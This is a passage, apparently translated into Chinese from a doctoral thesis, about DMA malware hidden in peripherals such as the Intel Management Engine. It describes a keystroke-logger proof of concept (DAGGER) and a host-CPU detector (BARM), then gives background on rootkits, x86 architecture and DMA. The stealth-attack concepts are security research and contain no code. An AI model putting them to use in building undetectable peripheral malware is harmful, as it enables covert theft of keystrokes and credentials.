然而，对于攻击者的挑战在于渗透目标计算机平台。此攻击者必须实现某种类型的 rootkit 安装程序。rootkit 安装程序通常被称为 释放器 [参见 16，p.9] [33]。这样的释放器可以基于最常见的渗透机制之一，即特洛伊木马，或者简称木马。木马的目的在于在目标计算机将要安装某个预想的程序、特性或者功能时对其进行误导。与之相反，其结果是用户安装了诸如击键码记录器或者后门等恶意负载。诸如此类的负载通常被部署于高权限环境，并且利用 rootkit 技术加以掩护。另一种常见的渗透方式是利用某个安全漏洞。此 rootkit 安装程序可以实现某种 漏洞利用。漏洞利用是一段利用安全漏洞的攻击代码。所谓的 零日漏洞 相对于非零日漏洞更具威胁性。零日漏洞所利用的是某个此前未知的安全漏洞，这可能对于攻击者更加有利。它使得攻击者能够引导一次对于目标计算机的隐秘渗透。

rootkit 的另一个关键属性是其代码运行于可能的最高权限之上。其目标是获得至少是高于任何潜在的检测机制的权限。这使得 rootkit 能够控制并且修改检测机制。在某种程度下，检测机制将会无法检测 rootkit 或者由此 rootkit 掩护的恶意负载。这是攻击者寻求新的、更加强大的攻击向量的原因。攻击者获得的权限越多，其所获得的对于目标计算机的控制也就越多。

攻击者的目标是获得对目标计算机的绝对控制。rootkit 进化 记录了攻击者和反恶意软件社区之间的军备竞赛。相对于早期的 rootkit，现在的 rootkit 已经前进到了更高权限的执行环境。近年来 [35，36，47，134，135] rootkit 的进化达到了一个新的水平。攻击者开始利用平台外设的隔离执行环境。具有专用处理器、专用内存以及直接访问宿主的运行时内存的硬件特性的外设能够掩护用于攻击目标计算机的恶意负载。这样的攻击被认为是隐秘的。市场上可获得的现代反病毒软件之类尚未考虑基于外设的执行环境。这样的软件执行于宿主处理器上，并且通常只将硬盘和主内存考虑为能够存储恶意代码。

1.1 问题表述

恶意软件是对数据的机密性、完整性以及可用性的威胁。对于基于外设的恶意软件的情况，攻击者可以利用外设的隐形潜力。隐藏在平台外设中的恶意软件不会被反病毒软件所考虑。取决于外设，安全软件甚至不能访问该设备的内部工作。例如某些管理控制器拥有对全部宿主内存的访问，并且提供远程管理特性。为了防止滥用，制造商应用保护机制以阻止对此执行环境的内部工作的访问。

这种机制，如果被基于外设的恶意软件所利用以攻击宿主，则称之为直接内存访问或者 DMA。在本工作中，我们将会引入术语 DMA 恶意软件 以用于诸如此类的攻击。DMA 恶意软件拥有同 rootkit 相似的特性。当前的反制措施无法应对 DMA 恶意软件的挑战。例如，对本意将要在外设上运行的代码进行加载时完整性检测等机制并不能阻止运行时攻击。这同样适用于数字签名的固件镜像的情形。另一种方式是基于延时的证明。此类证明要求一段散列值在一定的时间框架内被计算出来。然而，这同样要求修改外设固件，并且不能阻止瞬时攻击。诸如特殊监控以及内存总线嗅探等其他方式基于特殊硬件或者硬件特性。阻止敏感数据出现在主内存中同样不能奏效。这些数据可以通过 DMA 攻击被转储到主内存中 [脚注 1]。

脚注 1：具体细节可以在 3.2 节“相关工作——反制措施”部分找到。

一种被提议的针对 DMA 攻击的反制措施是使用一种所谓的 输入/输出内存管理单元（I/OMMU）。这样的管理单元可以限制外设对宿主的部分主内存的访问。然而，此技术具有重大缺陷。已有证据表明 I/OMMU 可以被攻击并且绕过 [111，146，147，148]。因此，I/OMMU 不一定可信。某些操作系统，诸如 Windows，并不提供驱动程序以支持 I/OMMU。此外，并非每种芯片组都提供 I/OMMU。更进一步地，I/OMMU 不能处理内存访问策略冲突。例如，Bulygin [25] 展示了如何利用外设以揭示存在于宿主的运行时内存中的恶意软件。我们将相同的执行环境用于第 4 章的攻击研究。例如，如果 I/OMMU 被配置为允许外设扫描宿主的全部运行时内存以揭示 rootkit，那么我们的攻击代码同样可以访问全部运行时内存以偷取敏感数据。因此，本工作并不依赖 I/OMMU 作为一种反制措施。更进一步地，I/OMMU 可能会引入显著的性能开销 [13，150]，这使得 I/OMMU 对于某些场景并不理想。由于这些考虑，我们相信缺少这样一种能够检测恶意内存访问并且具有可忽略的性能开销的运行时监视器。这样一种运行时监视器的缺失正是推动本工作的动力之一。

1.2 研究问题和方法论

我们的研究兴趣基于现代 x86 平台的隐形能力。这些能力被对手以利用以隐藏恶意代码，如同 rootkit 进化所记载，同时参见 2.1 节。这提出了这样一个问题，即不可被检测到的软件是否能够存在。为了检验这个问题，我们考虑了 rootkit 中的下一个逻辑步骤，即利用平台外设以攻击宿主的运行时内存。

我们开发了一种恶意软件的 概念验证（PoC），它执行于某个隔离的外设上。此外设的硬件提供了对宿主的运行时内存的访问。我们以击键码记录器的形式实现了一次攻击。这意味着我们的恶意软件搜索宿主操作系统的键盘缓冲并且监视该缓冲以捕获击键码。对此击键码记录器的评估指导了我们后续的一个研究问题，即宿主系统能否保护自己以对抗基于外设的宿主主内存攻击？为了回答这个问题，我们实现了一个运行时监视器，它执行于宿主 CPU 上。有了这个监视器，我们想要展示这一点，即来自平台外设的对宿主主内存的额外（恶意）访问事实上是可以被检测到的。我们要求基于宿主 CPU 的检测程序能够检测恶意访问，即使它不能访问该恶意外设的隔离执行环境。

我们利用我们的恶意软件样本以得出此类恶意软件的一般属性。随后我们利用了这些属性以检测由恶意软件所引导的内存访问。我们定义了这样一种属性，它是每一种攻击宿主内存的基于外设的恶意软件都体现出来的。基于此，我们将我们的恶意软件概念验证视为对于此类恶意软件典型的。我们实现了基于宿主 CPU 的检测程序以揭示由平台外设通过直接内存访问所引导的非法内存访问。其目标是实现这样一种运行时监视器，它不仅对于宿主 CPU 只造成最小化的性能开销，同时能够阻止瞬时攻击。

我们还在我们的研究的最后一部分考虑了网卡。网卡同样可以托管恶意软件。特别是在企业环境中，某个计算机平台被要求向某个中央管理员平台报告其状态。这样的状态报告可以被执行于网卡上的恶意软件修改。因此，我们开发了一种合法报告信道。此信道有助于揭示针对此类状态报告的攻击。

实验研究环境

我们的实验环境基于 Intel x86 硬件。我们用于执行我们的基于外设的恶意软件的隔离环境是 Intel 管理引擎（Intel ME [79]）。Intel ME 是一种特殊的微控制器，它运行某种强大的平台管理固件。管理员可以利用此管理固件远程重装操作系统，即使操作系统已经不可引导，并且该平台不可通过操作系统的网络栈抵达。ME 同样能够在平台处于待机或者关机的情况下运作。由于这些特性，其制造商 Intel 建立了这样的保护机制，它们不能在不付出巨大努力的情况下被绕过。ME 是同宿主系统相隔离的。Intel ME 环境是同宿主完全隔离的，而其他外设可以通过调试寄存器以及其他机制来访问。

从检测程序的角度来看，ME 是用于托管基于外设的恶意软件的执行环境的最坏的案例。宿主 CPU 无法访问 ME 环境。我们将这一最坏案例环境用于我们的研究。我们通过应用某个只能工作在特定芯片组 [脚注 2] 上的漏洞来渗透 ME 环境。请注意，此工作并不致力于查找未被发现的安全漏洞。我们重复利用了某个已知的安全漏洞来设置我们自己的实验环境，是由于缺少一块适合的 Intel 开发板。

脚注 2：此漏洞利用仅适用于刚好具有特定版本 BIOS 的 Intel Q35 芯片组。Intel 通过提供 BIOS 更新堵住了对应的安全漏洞。

1.3 论文贡献的影响

例如为了引导行业间谍活动或者偷取在线银行凭证等，攻击者要求能够隐秘运作的恶意软件。基于外设的恶意软件保证了攻击仍然不可被检测到。能够满足隐秘恶意软件运作的需求的外设存在于几乎每一部现代计算机平台中。诸如显卡、网卡和管理控制器等是台式机、服务器系统以及其他计算机终端的组成部分。移动电话和平板计算机也具有那些带有独立处理器、内存以及对宿主运行时内存的直接访问的外设。这意味着所有现代平台都易受基于外设的恶意软件的攻击。这样的恶意软件执行于隔离环境中，并且处于由操作系统内核所设置的反病毒软件和安全机制的视野之外。由于缺少针对基于外设的恶意软件的检测程序以及在反病毒软件中缺少类似功能，本论文的贡献可能对上述计算机设备及其用户具有重大影响。我们将本论文的主要贡献总结如下：

DMA 恶意软件研究

我们定义了 DMA 恶意软件以便能够区分不同的 DMA 代码。这样的恶意软件执行于某个外设上，并且能够通过直接内存访问攻击宿主。我们开发了一种 DMA 恶意软件实现的概念验证，它能够利用某个隔离的外设来引导隐秘攻击。我们的概念验证称为 DAGGER，它来自于 DmA-based keystroke code loGGER（基于 DMA 的击键码记录器）。DAGGER 可以攻击不同的宿主操作系统。DAGGER 强调了 DMA 恶意软件在实践中是多么地高效。我们识别了 DMA 恶意软件的核心属性以研究诸如此类的恶意软件的属性。这些属性是 DMA 恶意软件检测程序的基础。在一次早期实验中，我们提供了关于 DMA 的副作用存在的证据。我们展示了这样一种效应可以如何利用通常的宿主 CPU 特性进行测定。这是 DMA 恶意软件检测程序开发的第一步（参见第 4 章）。

检测 DMA 恶意软件

我们开发了一种监视器，它能够通过比较实际的内存总线活动和预期的内存总线活动来检测 DMA 恶意软件。我们的方法能够确定并且比较实际的总线活动而不受任何固件或者硬件修改的影响。此检测器基于这样一种特性，它实现了永久的运行时监控并且运行在宿主 CPU 上。我们实现并且评估了这样一种概念验证，我们称之为 总线代理运行时监视器（BARM）。我们的监视器实现了这样一种监视策略，它会考虑瞬时攻击。它只会造成可忽略的性能开销。BARM 可以检测并且立即终止 DMA 恶意软件（参见第 5 章）。

排除了 DMA 恶意软件干扰的合法平台状态报告

我们展示了我们的检测方法同样适用于这样的场景，在此，一部计算机平台必须向某个中央管理员平台报告其状态。我们建立了这样一种合法报告信道，它能够揭示由执行于网卡上的恶意软件所引导的攻击。这意味着我们改良了 BARM 以揭示 中间人（MitM）攻击，并且阻止由网卡引导的中继攻击。我们实现了一种信道以便将平台状态信息安全地传输至一台外部计算机。此平台状态信息允许远程实体评估 BARM 的测定结果。这意味着远程实体可以确定其对端是否受到了 DMA 恶意软件的攻击。我们的信道将宿主 CPU 视为信道的端点，而非完整的目标平台。这排除了网卡作为端点的一部分。我们改良了 BARM 以说明由网卡所造成的内存总线活动。此改良的 BARM 利用 OpenSSL 来实现合法报告信道。我们还修改了 TLS 握手协议以便在通讯会话的最初阶段就说明平台状态信息。我们的修改仍然符合 TLS 规范（参见第 6 章）。

具体的工作细节可以在各对应章节找到。

1.4 论文结构

根据我们的方法论，我们按照如下方式组织论文结构。下一章，我们将会介绍必需的技术背景、预备知识以及假设。用于我们的评估的目标平台是一种基于 Intel x86 的现代系统，参见 2.2，2.3，2.4，2.5 和 2.6 节。这些章节介绍了关于该目标平台的大部分重要术语，特别是宿主 CPU、直接内存访问（DMA）、总线主控以及 输入/输出内存管理单元。我们还在 2.7 节介绍了我们的假设以及由此得出的对手模型。第 3 章覆盖了相关工作。由于我们同时考虑攻击以及攻击检测和防护两端，我们必须认真研究两端的相关工作。关于 DMA 攻击的相关工作描述于 3.1 节。3.2 节呈现了那些考虑了反制措施的前期工作。更进一步地，我们想要使得我们的目标平台能够向外部平台报告其关于基于 DMA 的恶意软件的状态。为了达成这一目的，我们要求一种能够揭示由网卡发动的中间人攻击的通讯信道。这是必需的，由于我们同时将网卡视为能够隐藏 DMA 攻击代码的专用硬件。

我们引导了针对 DMA 恶意软件的研究并且将其结果呈现于第 4 章。关于 DMA 恶意软件的定义给出于 4.1 节。在 4.2 节，我们呈现了 DMA 恶意软件的核心功能。我们自己的 DMA 恶意软件的设计和实现呈现于 4.3 节。4.4 节描述了对于 DAGGER 的评估。4.5 节考虑了反制措施并且特别讨论了 I/OMMU 的问题。在同一节中，我们描述了我们如何能够利用这些属性以显示首个 DMA 副作用。由于宿主 CPU 无法直接意识到由受到攻击的外设所引导的非法内存访问，我们试图触发一种发生于外设访问主内存时发生的副作用。

第 4 章所呈现的 DMA 副作用是推动我们实现我们于第 5 章所介绍的运行时监视器的动力。在第 5 章“DMA 恶意软件检测初步”中，我们展示了 DMA 副作用可以被如何利用以开发检测工具。我们定义了一种通用检测模型，它有助于我们构建检测工具，参见 5.1 节。随后，我们在 5.2 节中呈现了一种基于流行的 Intel x86 平台的概念验证实现。我们在 5.3 节评估了我们的实现。我们同时利用我们于第 4 章开发的 DMA 恶意软件测试了 BARM。最后，BARM 利用了这一事实，即我们的 DMA 恶意软件必须搜索有价值的数据，由此造成了一定量的总线传输。

在第 6 章，我们改良了我们的检测工具以实现一种合法状态报告应用程序。此应用程序将 BARM 测定结果发送至某个外部平台。其目标是实现这样一种安全通讯信道，此信道排除了由运行于网卡之上的恶意软件引导中间人攻击的可能性。在 6.1 节，我们呈现了一种模型以协商一种合法报告信道。我们需要一种诸如 TLS 的安全信道，它绑定于实际的通讯端点，即宿主 CPU。我们关于合法报告应用程序的概念验证基于 OpenSSL，参见 6.2 节。此实现章节同时描述了为了考虑网卡而必需的 BARM 改良。关于我们的实现的评估呈现于 6.3 节。我们还利用我们自己的 DMA 恶意软件 DAGGER 测试了关于网络的 BARM 改良。合法报告信道的安全性考虑于 6.4 节讨论。我们关于此论文的结论以及今后的工作呈现于最后一章，第 7 章。

第 2 章技术背景、预备知识和假设

在孩子面前放一台计算机并且指望由它来教育他，就好比在他的枕头底下放一本书，只不过更加昂贵而已。——Joseph Weizenbaum，德国/美国计算机科学家

为了理解我们的后续章节，尽管获知大量关于现代计算机架构的细节是有益的，然而在这里解释所有这些晦涩的细节并不现实。因此，我们将读者引向一系列文献 [参见 54，59，118，127] 以获得关于此话题的完整论述。我们将本章限定为理解本工作所必需的最重要的术语。我们从 rootkit 进化 开始。这段进化史突出展示了为何呈现于后续各节的技术背景有助于理解本工作。

2.1 rootkit 进化

在流行的 x86 平台上，rootkit 的能力与其执行环境强烈相关，例如用户模式（3 环）或者内核模式（0 环）。现代 x86 处理器提供所谓的保护环以区分不同权限的执行环境，参见图 2.1。对 rootkit 进化的分析揭示了这一事实，即攻击者在 x86 平台发现了新的、更加强大的执行环境。以下段落总结了不同类型的 rootkit，即用户模式、内核模式、基于虚拟机的、系统管理模式、基于固件的以及基于外设的。这段概述呈现了 rootkit 进化史，并且展示了近年来 rootkit 这一术语是如何变化的。

图 2.1 “-3 环”环境，与 x86 平台上的其他 rootkit 环境相比

请注意，3 环和 0 环实现于硬件（宿主 CPU）中。术语“-1 环”、“-2 环”和“-3 环”被用于强调对应的执行环境的能力，它们并非实现于硬件中。

用户模式 rootkit 使用简单的技术，其基本理念是将 rootkit 伪装成正常的软件 [129]。例如，攻击者向某个运行于用户模式并且具有超级用户/root 权限的普通软件工具中添加所需的恶意功能。此修改过的工具替换了目标平台上的原始工具。用户模式 rootkit 被认为是 rootkit 进化的起点。其名称来源于赋予了超级用户 root 的权限级别。用户模式 rootkit 可以被运行于内核模式的特定检测工具发现。

内核模式 rootkit 基于某种高级技术以便利用操作系统内核组件来隐藏 rootkit [60]。内核模式 rootkit 修改了内核，或者更准确地说，修改了内核代码（例如系统调用）或者内核数据。对内核的修改改变了内核行为以强制实施某些隐形能力，进而隐藏恶意活动 [参见 129]，例如击键码记录器。执行于内核模式的 rootkit 不受那些用于揭示用户模式 rootkit 的技术的影响。

用于控制一台计算机系统的更加强大的 rootkit 称为 基于虚拟机的 rootkit（VMBR），诸如 SubVirt [77] 和 Blue Pill [108]。一种称为 hypervisor 或者 虚拟机监视器（VMM）的控制实例通常被用于在 虚拟机（VM）中托管客户操作系统。而 VMBR 通过利用 VMM 环境以便在虚拟机中托管目标计算机的操作系统。由于操作系统内核执行于 VMM 环境上，VMBR 可以被看作运行于“-1 环”上。因此，一个恶意控制实例被放置于硬件和操作系统之间。VMBR 难于安装，然而反过来说，VMBR 同样难于检测。Blue Pill 可以在计算机运行时托管目标操作系统，即无需关机或者重启。

用于 rootkit 的另一种强大的执行环境称为 系统管理模式（SMM）。SMM 是一种特殊的高权限处理器模式，它用于执行特殊的系统软件。它同样可以被利用以实现所谓的基于 SMM 的 rootkit。在 SMM 中执行的代码运行于宿主 CPU 的最高权限上。这意味着基于 SMM 的 rootkit 在运行时具有多于操作系统内核和虚拟机监视器的权限。因此，基于 SMM 的 rootkit 可以被看作执行于“-2 环” [145]。在 2008 年，Embleton 等人 [49] 和 Wecherowski [144] 展示了 SMM 可以如何被用于 rootkit。SMM 代码存储于固件中，即 SMM rootkit 可以被看作固件 rootkit 的特例。

基于固件的 rootkit 也是非常强大的。在固件中部署 rootkit 非常困难，但是并非不可能。固件是一种存储于闪存存储器上的特殊低级软件。基本输入/输出系统（BIOS）是存储于 x86 平台上的闪存存储器中的固件的一个范例。基于固件的 rootkit 并不是部署于硬盘上。因此，很难检测并且移除此恶意软件。攻击者可以利用此 rootkit 来攻击操作系统，即使用户重装操作系统。Heasman [56] 在 Black Hat Federal 2006 大会上展示了如何实现并且检测基于 BIOS 的 rootkit。Heasman [57] 延续了此项研究。由 Wojtczuk 和 Tereshkin [149]、Loukas K [84，85]，以及 Ortega 和 Sacco [97，98] 等人展示其他 BIOS 固件攻击可以作为 rootkit 的基础。Brossard [21，22] 还展示了 硬件后门是可行的。此作者利用了开源 BIOS coreboot [脚注 3] 及其相关工具以刷新 BIOS 以及外设的只读内存以攻击计算机平台。

脚注 3：参见 http://www.coreboot.org/Welcome_to_coreboot [访问于 2014 年二月 25 日]

隐藏于固件中的 rootkit 也可以被实现为使用平台外设的固件。这样的 rootkit 称为 基于外设的 rootkit。一种潜在地可被利用的外设是网卡 [134]。Heasman [55] 也讨论了如何实现并且检测一种部署于存在于 外设元件互连标准（PCI）设备上的扩展 只读内存（ROM）中的基于 PCI 的 rootkit。外设同实际的宿主系统之间被良好地隔离。因此，这种外设中的执行环境并未被反病毒软件所考虑。这使得外设对于攻击者而言极具吸引力，参见图 2.2。

图 2.2 能够潜在地被 rootkit 利用的专用隔离硬件概述

隐藏于外设中的 rootkit 能够直接访问计算机平台的主内存。因此，它们可以偷取敏感数据，诸如硬盘加密密钥、视频电话通讯会话密钥、在线银行凭证、口令、打开的文件等。这样的 rootkit 也可能修改主内存中的数据。

一种能够在独立处理器上执行平台管理代码的特殊微控制器提供了良好的隐形能力，并且同样可以被用于 rootkit。在 Black Hat USA 2009 大会上，Tereshkin 和 Wojtczuk [131] 展示了将此类微控制器用于 rootkit 的理念。他们引入了术语“-3 环”以强调其隐形能力。这样的基于外设的 rootkit 被认为比基于 SMM 的 rootkit 更具隐秘性。Bulygin [25] 展示了如何利用这种特殊的基于微控制器的环境来检测基于 SMM 和基于 VMM 的 rootkit。由于诸如网卡等外设通过主内存同宿主操作系统进行通讯，基于外设的 rootkit 可以通过非法读取或者写入宿主内存来攻击宿主。这种允许外设进行内存访问的机制称为 直接内存访问（DMA，参见 2.4 节）。由于这种机制，基于外设的 rootkit 被认为是绝对隐秘并且不可能被检测到的。这样的 rootkit 技术是本工作关注的焦点。基于外设的 rootkit 可以通过 DMA 访问宿主内存以偷取存在于宿主运行时内存中的口令、在线银行凭证、打开的文件等。它们还可以通过诸如基于内核的后门等其他攻击代码来渗透宿主 [47]。

注意，我们在本工作中避免使用术语“-3 环”。并没有什么“-3 环”是实现于硬件中的。诸如“-1 环”、“-2 环”和“-3 环”等术语仅仅被用于描述 x86 平台上的对应环境的权限级别。所处的环越低，则 rootkit 的能力就越大。在本论文中，我们将会使用术语“恶意软件”，由于我们所分析的攻击并非执行于宿主 CPU 上。因此，root 权限与之无关。我们所关注的恶意软件同原始的用户空间 rootkit 相比只有这一点是共同的，即它们的目标都是隐秘运作。

2.2 典型的基于 x86 的系统架构

典型的 x86 系统架构的主要组件描述于图 2.3 中。中央处理器（CPU）、内存控制器集线器（MCH）和 输入/输出路径控制器（ICH）之间的连接称为芯片组 [54]。这种芯片组解决方案也称为 三芯片解决方案。系统内存（随机访问存储器，或者简称为 RAM）以及显示适配器被连接到 MCH。MCH 控制了对内存的访问。它可以阻止对内存地址的请求，或者将此请求重定向到 ICH，如果该目标地址属于 ICH。诸如闪存存储器、网卡（NIC）等通过 外设元件高速互连标准（PCIe [24]）整合到系统中。此标准为外设和芯片组之间实现了一种串行互连。网卡和其他扩展卡可以通过 PCIe 连接到 ICH。用于存储诸如 基本输入/输出系统（BIOS [参见 54，p.369]）等固件的闪存存储器也被连接到 ICH。

图 2.3 x86 芯片组和外设组件

芯片组组件包括 中央处理器（CPU 或者宿主处理器）、内存控制器集线器（MCH，又称为北桥）以及 输入/输出路径控制器（ICH，又称为南桥）。外设不属于主芯片组。

请注意，Intel 在 Intel 5 系列芯片组 [121，p.15] 中引入了一种所谓的 双芯片解决方案。这意味着 MCH 功能被整合进宿主 CPU，并且被称为 集成内存控制器（IMC [32，p.14]）。同之前的 MCH 一样，IMC 是控制内存访问的控制实例。ICH 被更名为 平台路径控制器（PCH [68]）。本论文中引导的实验基于三芯片解决方案。

其他控制器设备将其他格式通过 PCIe 连接到系统，诸如 通用串行总线（USB [8]）、火线（FW [6]）或者 串行高技术配置（SATA [7]）等。传统 PCI 设备通过一种所谓的 PCI 到 PCIe 桥接 连接到 PCIe 架构 [24]。在笔记本计算机中，个人计算机存储卡国际联盟（PCMCIA）/快速卡（ExpressCard）[139] 设备通过 PCIe 整合到系统中。宿主 CPU 不一定是系统中唯一的处理器。例如，显卡支持一种 图形处理器（GPU）以高效渲染计算机图形。待处理的数据存储于显存（VRAM）中，它独立于通常的系统内存。具有相似属性的其他设备包括网卡以及位于平台的 MCH 中的 Intel 管理引擎（ME [79]）。它们同样利用独立处理器和独立内存来执行固件。

2.3 基于 Intel x86 的宿主中央处理器

Intel x86 中央处理器（CPU）公布于 1978 年 [参见 59，附录 K.3]。此后，x86 CPU 持续被增强，直到最近，x86 处理器包含若干个单元以支持用于不同计算任务的适当特性。现代扩展包括浮点单元、单指令流多数据流（SIMD [117，p.524]）、流式 SIMD 扩展（SSE [117，p.748]）、x64 [58，p.351]、物理地址扩展（PAE [69，p.2-23]）、多级缓存（L1、L2、L3 缓存 [59，p.117]）、性能监视单元（PMU [参见 104，p.429]），以及虚拟化的硬件支持等，如 Grawrock 所描述 [54]。一块现代 x86 处理器通常也包括多个核心 [参见 59，p.117]，这些核心提供具有不同的位宽的寄存器，即从 16 位到 512 位 [参见 70，第 1.2.1 节]。

为了提供保护机制，CPU 通过所谓的保护模式支持一种权限模型。此模型提供的不同权限等级也称为环，以分隔运行于此硬件上的特定软件。如果处理器处于保护模式，则有 4 种环可用。0 环是权限最高的环，而 3 环的权限最少。操作系统执行于 0 环。因此它同运行于 3 环的应用程序相隔离。1 环被认为是用于设备驱动程序的，而 2 环被用于服务，尽管在实践上 1 环和 2 环并未被使用 [54，p.41]。

系统管理模式（SMM [69]）是另一种处理器模式，仅对于系统固件可用。此模式被引入 x86 架构以实现高级能效，例如通过关闭未使用的硬盘，以及控制系统硬件，例如当系统达到温度限制时打开系统风扇并且关闭系统。SMM 通过中断触发，即 系统管理中断（SMI）。SMI 处理程序代码在系统初始化的早期由 BIOS 从闪存存储器中加载至 系统管理内存（SMRAM）。为了防止由来自除了 SMM 以外的其他处理器模式的代码修改 SMI 处理程序代码，芯片组提供了一个特殊的位，它称为 D_LCK。此 D_LCK 位在 SMI 代码被加载至 SMRAM 之后被设置以对其进行保护。如果此 D_LCK 位被设置，则不可能更改 SMRAM 的内容。

如果某个 SMI 触发了 SMM，当前执行的程序被中断，并且处理器状态将会被保存。随后，处理器执行 SMI 处理程序代码。当此处理程序代码执行完毕时，被保存的处理器状态将被恢复。当处理器从 SMM 切换回之前的处理器模式时，被中断的程序可以继续运行。注意，之前的处理器模式损失了 CPU 周期/时间，由于两种处理器模式不能同时被执行。SMM 可以被看作一种独立的执行环境。SMRAM 是一块独立的地址空间，并且仅在处理器处于 SMM 时可访问。换言之，操作系统不能访问 SMRAM。更进一步地，SMM 中的权限不受限制，执行于 SMM 中的代码可以调用任何 I/O 以及系统指令。

在 Intel 平台上，x86 中的硬件虚拟化扩展称为 Intel 虚拟化技术（Intel VT）[54]。虚拟化机制被用于在单一的硬件平台上并行运行彼此隔离的多个操作系统或者应用程序。一种称为 虚拟机监视器（VMM）的控制实例用于托管 虚拟机（VM）中的客户操作系统。现代 x86 CPU 提供了一种特殊的指令集，称为 VT-x。VT-x 是 Intel VT 的一部分，并且其本意是用于支持硬件虚拟化。此种硬件支持提供了两种特殊的 CPU 操作：VMX root 操作和 VMX 非 root 操作。VMM 运行于 VMX root 操作模式。运行于 VMM 之上的 VM 处于由 VMM 控制的 VMX 非 root 模式。这两种操作模式都支持其各自的保护环，各 4 个。因此，客户系统的软件（内核、驱动程序、应用程序等）可以运行于其被指认的权限级别。VMX 非 root 操作模式中的保护环被认为是低权限的，由于这些环受到运行于 VMX root 操作模式的 VMM 的控制。而 VMX root 操作模式的 4 个环是高权限的。通常，VMM 只会使用最高权限的环。此环通常称为“-1 环”以强调它控制着较低权限的 0-3 环这一事实。

x86 微架构还实施了这样一种流水线概念，它具有诸如分支预测和乱序执行等特别执行优化特性 [118，p.329ff] [127，p93ff]。执行流水线利用微操作进行工作，即运算被作为程式化原子单元而实现。Intel 架构指令被翻译为微操作 [118，p.331]。对于乱序执行，需要一块所谓的 重排序缓冲区（ROB [118，p.333]）来跟踪重命名的寄存器。寄存器重命名发生于乱序执行过程中。微运算中所使用的寄存器通过 寄存器别名表（RAT [118，p.333]）而被重命名，它也被称为 寄存器分配表（RAT [参见 127，p.100]）。

PMU 以 型号特定寄存器（MSR [69，第 9.4 节]）的形式实现，它允许软件开发者对微架构相关的事件进行计数。这有助于程序员编写针对某一 CPU 微架构优化的代码 [104]。例如，MSR 可以被配置为计数在代码执行时发生的缓存未命中、RAT 停止，以及分支预测错误等 [69，第 18/19 章]。用于事件计数的 PMU 寄存器也称为 性能计数器 或者 硬件性能计数器（HPC）。它们仅在 0 环中可用。与性能测定相关的另一种特殊目的寄存器是所谓的 时间戳计数器（TSC [69，第 17.12 节]）寄存器。TSC 寄存器可以在平台重置之后被用于计数 CPU 周期。由不同的权限级别对时间戳计数器寄存器和性能监视单元寄存器的访问可以由 x86 控制寄存器 4（CR4）[参见 69，第 2 章] 来控制。

一种同外设交换数据的特殊输入/输出（I/O）特性是经过由 x86 CPU 提供端口（I/O 端口 [117，p.70，341]）的 I/O 映射 I/O 的概念。此概念与内存映射 I/O（同样由 x86 系统提供 [117，p.343]）互补，在后者的情况下，外设的内存和寄存器都被映射到宿主 CPU 的内存地址空间。外设同样会通过中断与宿主 CPU 通讯，以发出例如新数据可用的信号 [117，p.252]。为了同宿主系统进行通讯，外设也可利用直接内存访问的概念。在此情况下，外设并不直接同宿主 CPU 通讯，参见 2.4 节。

2.4 直接内存访问

PCIe 支持用于外设，或者更准确地说，诸如显卡、网卡以及管理控制器等专用硬件的 直接内存访问（DMA）。DMA 允许快速内存访问而无需宿主 CPU 的介入。DMA 的目的在于从宿主 CPU 移除负载。DMA 允许外设绕过 CPU 获得对全部宿主内存的访问。CPU 可以在 DMA 传输发生时执行其他任务。外设可以拥有它们自己的引擎以执行 DMA。此类 DMA 称为第一方 DMA [133，p.428]。另一种机制称为第三方 DMA [133，p.428]，在此，需要由一个中央 DMA 控制器（DMAC，参见图 2.3）来为不带 DMA 引擎的传统设备（例如基于 工业标准结构（ISA [116]）格式的设备）提供快速内存访问。它也被集成到现代平台中 [64，p.128]。

图 2.4 第三方和第一方 DMA

(a) 第三方 DMA：要求宿主 CPU (1) 通过 I/O 端口配置（源和目标地址）中央 DMA 控制器，以便 (2) 执行 DMA 传输。宿主 CPU 将会被 (3) 中断，如果 DMA 传输完成 [31，p.454]。因此，宿主 CPU 对于第三方 DMA 传输警觉。(b) 第一方 DMA：外设设备可以 (1) 配置其自身的 DMA 引擎。此设备作为总线主控（参见第 2.5 节）以获得对于系统总线的控制来执行 DMA 传输。此设备可以中断宿主 CPU，如果该设备 (2) 完成传输。传输同样能够进行，如果此设备并不在 DMA 传输完成时中断宿主 CPU。在此情况下，CPU 对于 DMA 传输并不警觉。

图 2.4 高亮显示了第三方和第一方 DMA 之间与隐秘操作有关的一个重要区别。如果使用第三方 DMA，宿主 CPU 对于 DMA 传输警觉，由于外设需要宿主 CPU 通过 I/O 端口 [脚注 4]（参见 2.3 节）来配置 [参见 31，p.454] DMAC。如果使用第一方 DMA，宿主 CPU 不一定 对此传输警觉。注意，DMAC 或者 DMA 引擎只能访问宿主内存地址，而非诸如宿主 CPU 缓存、宿主 CPU 寄存器或者硬盘等。后一条规则提示从运行时内存中移出至硬盘中的数据对于 DMA 引擎来说也不可访问。

脚注 4：参见诸如 arch/x86/include/asm/dma.h 和 arch/x86/include/asm/io.h 等 Linux 源代码。

2.5 总线主控

计算机平台拥有若干种总线系统，例如 PCIe 和 前端总线（FSB）。因此，平台拥有取决于总线系统的不同的总线主控类型，参见图 2.5。总线主控是一种能够经过某种总线引发数据传输（例如从 I/O 设备到主内存）的设备 [58，第 7.3 节]。某个连接到总线的设备（CPU、I/O 控制器等）本质上并不是总线主控。此设备只是一个 总线代理 [1，p.13]。如果该总线必须被仲裁，则总线主控可以向仲裁器发送一段总线所有权请求 [9，第 5 章]。如果仲裁器将总线所有权授予该总线主控，则该总线主控可以引发数据传输，只要总线所有权被持续授予。注意，此过程与 PCIe 设备不相关，由于其点对点的属性。PCIe 请求不需要被仲裁，因此，总线所有权并非必需。此总线并未如同其在 PCIe 的前身 PCI 中那样被共享。

图 2.5 总线主控拓扑结构

总线主控通过不同的总线系统（例如 PCIe，FSB）访问内存。MCH 为不同的总线控制器仲裁主内存访问请求（基于 [23，p.504] [24] [58，第 7.3 节] [63，第 1.3 节] [64]）。

然而，PCIe 设备的总线主控能力是通过某个特定的位来控制的，它称为 总线主控启用（BME）。BME 位是该外设的标准配置寄存器的一部分，并且通常由执行于宿主 CPU 上的对应设备驱动程序来设置。MCH（位于 PCIe 的视野之外）仍然对从不同的总线接口到主内存的请求进行仲裁 [63，p.27]，参见图 2.5。宿主 CPU 也是一个总线主控，它通过 前端总线（FSB）从主内存中获取数据和指令。I/O 控制器（例如以太网、硬盘控制器等）为 I/O 设备（例如 USB 键盘/鼠标、硬盘、网卡等）提供独立的 DMA 引擎。这意味着如果外设对主内存的访问请求由 MCH 处理，则 PCIe 与之完全不相关。

2.6 输入/输出内存管理单元

